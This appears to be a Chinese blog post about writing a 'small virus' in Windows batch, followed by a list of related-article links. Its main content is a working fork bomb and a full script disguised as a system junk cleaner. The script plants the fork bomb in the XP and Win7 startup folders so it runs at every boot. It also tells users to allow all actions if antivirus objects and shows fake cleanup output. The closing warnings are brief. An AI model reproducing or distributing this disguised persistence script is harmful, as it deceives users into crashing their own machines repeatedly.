用bat写的一个小病毒
最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581
用了三天才看完=。=,感觉作者整理整理可以把博客当书买了。。。
然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源。。。呵呵。。让大神见笑了=。=
windows.bat
- start cmd
- %0
用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪。%0是再次执行该程序的意思。
但是,这样只能让用户死机一次。。。。重启系统以后,不再打开这个文件以后,就不再会中招了。。。。。
于是做了优化:
写了一个系统清理工具(这只是掩饰,嘿嘿,其实我们是要把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的。但是,也不是不可以解决。。。用户可以使用pe到开启启动目录把windows.bat文件删除,或者重装系统,只测试了xp和win7)
废话不说了,上代码:
系统垃圾清理工具:
- @echo off
- title 系统垃圾清理
- color 2f
- echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
- echo.
- echo.
- echo start cmd >c:\windows\windows.bat
- echo %%0>>c:\windows\windows.bat
- copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
- if %errorlevel%==0 goto next
- copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
- if %errorlevel%==1 goto error
- :next
- echo.
- echo.
- echo =====垃圾清理中,请不要关闭窗口=========
- echo.
- ping -n 5 127.0.0.1>nul
- echo.
- echo =====垃圾清理完毕,共清理垃圾500M=======
- echo.
- echo.
- echo =====建议立即重启电脑==========
- pause
- :error
- echo.
- echo.
- echo ======程序运行失败,请【使用管理员权限】重新运行!========
- echo.
- pause
说明:
首先我们使用echo语句在c:\windows\目录生成windows.bat文件
然后copy到系统的开机启动目录
- "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
对应win7的系统开机自启动目录
- "%USERPROFILE%\「开始」菜单\程序\启动\"
对应xp的系统开机目录
正常情况下应该是有一条拷贝命令可以执行的,如果两条命令都没有执行说明,权限不够,这时提示用户以管理员权限再次运行。
警示1:
最后,大家收到bat文件的时候,打开之前一定要先用右键——记事本打开看看,不然很可能就中招了。。。。
但是,也有很多软件可以把bat转exe文件,这样就看不到代码了。。。。。。所以,大家不要轻易运行不可信任的程序,可以在沙盒或者虚拟机中先运行试试
警示2:
这个清理系统垃圾的程序,是设定在系统开机的时候发作,所以用户当时运行完并不知道已经中招了。。病毒有潜伏期,大家需警惕~~
用bat写的一个小病毒的更多相关文章
- "HK"日常之用C# Process写一只小病毒
众所周知,Process可以启动和关闭电脑上的进程,命名空间位于 System.Diagnostics,本次的教程就是利用其中的GetProcesses和Kill方法来实现的. 一.编码工作 首先我们 ...
- 原生JS写了一个小demo,根据输入的数字生成不同背景颜色的小方块儿~
昨天练习写了这个小demo,个人觉得通过设置定位元素left和top的值,来实现换行的功能,这种方法很巧妙~ 另外,如下代码中的随机颜色的获取,还请各位前辈多多指教:需要改进的地方:或者有没有更好的方 ...
- QT写的一个小工具:阿里云MQTT连接参数生成器.
一.工具介绍. 最近在研究MQTT协议联网的一些问题,现在主流的物联网平台都支持MQTT协议. 在做阿里云平台连接测试的时候,连接参数的生成没有好用的工具, 所以就自己写了一个. 这个工具主要用于阿里 ...
- js 利用throw 写的一个小程序
在下边的小程序中比较特殊的是使用isNaN()函数判断一个参数是不是数字, <!DOCTYPE html> <!DOCTYPE html> <html> <h ...
- [原创]基于html5新标签canvas写的一个小画板
最近刚学了canvas,写个小应用练习下 源代码 <!DOCTYPE> <html> <head> <meta http-equiv="Conten ...
- canvas写的一个小时钟demo
<!DOCTYPE html> <html> <head> <title>HTML5 Canvas Demo of clock</title> ...
- python3 自己写的一个小算法(比对中文文本相似度)
函数使用说明: 函数的三个参数分别是“匹配语句”,“匹配语料”,“相关度”: 匹配语句,和匹配预料中的语句匹配的语句,必须为字符串: 匹配语料,被匹配语句来匹配的语句列表,必须为列表: 相关度,函数只 ...
- 如果公司里有上百个表要做触发器,如果手动写代码的话。很累,所以今天写了一个小程序,自动生成mysql的触发代码。
<?php $dbname = 'test';//数据库 $tab1 = 'user'; //执行的表 $tab2 = 'user_bak'; //被触发的表 $conn = mysql_con ...
- 自己写的一个小的剪刀——石头——布游戏的GUI程序
很简单的一个程序,建议各位初学Java的同学可以试试写写这个程序: import javax.swing.JOptionPane; public class Game { public static ...
随机推荐
- CruiseControl初探
一.背景 CruiseControl从<项目自动化之道>这本书中了解到,然后又从网上查资料做了一定尝试.同时,项目持续集成这部分我也计划在自己参与的项目上先试点实行,才有了这篇文章. 二. ...
- Spring_总结_04_高级配置(五)_运行时注入值
一.前言 本文承接上一节:Spring_总结_04_高级配置(四)_bean的作用域 当讨论依赖注入的时候,我们通常所讨论的是将一个bean引用注入到另一个bean的属性或者构造参数中.它通常指的是将 ...
- kylin_异常_01_java.io.FileNotFoundException: /developer/apache-kylin-2.3.0-bin/tomcat/conf/.keystore
一.异常现象 kylin安装完,启动后,控制正常,kylin后台也能正常访问.但是去看kylin的日志,却发现报错了: SEVERE: Failed to load keystore type JKS ...
- ios6,ios7强制转屏
在父视图控制器里面写如下代码 -(void)setViewOrientation:(UIInterfaceOrientation )orientation { if ([[UIDevice curre ...
- SQL Server数据文件迁移
需求:源SQL Server安装目录及数据目录 与 目标SQL Server安装目录及数据目录 完全不同. 步骤: 1.拷贝源数据目录下需要移植的库文件(rpBrInfo_TA.mdf.rpBrInf ...
- LeetCode 340. Longest Substring with At Most K Distinct Characters
原题链接在这里:https://leetcode.com/problems/longest-substring-with-at-most-k-distinct-characters/ 题目: Give ...
- LeetCode Sum of Square Numbers
原题链接在这里:https://leetcode.com/problems/sum-of-square-numbers/description/ 题目: Given a non-negative in ...
- 九、python沉淀之路--递归、全局变量、局部变量、作用域
一.递归 1.递归函数,同时使用嵌套,并且是将别的函数作用于调用函数里面 例1 num = [1,2,3,4,5] def add_one(i): return i+1 def reduce(i): ...
- redis设置为null问题
查看源码后发现,redis没有删除方法,本想给他设置为null,但是redis报错,所有仔细想了一下,发现redis提供了一个时间限制方法,所有可以让redis的时间限制为1s,就想当于删除redis ...
- flask之python3 虚拟环境及使用dotnv来永久保存环境变量
Python 3 comes bundled with the venv module to create virtual environments Create an environment Cre ...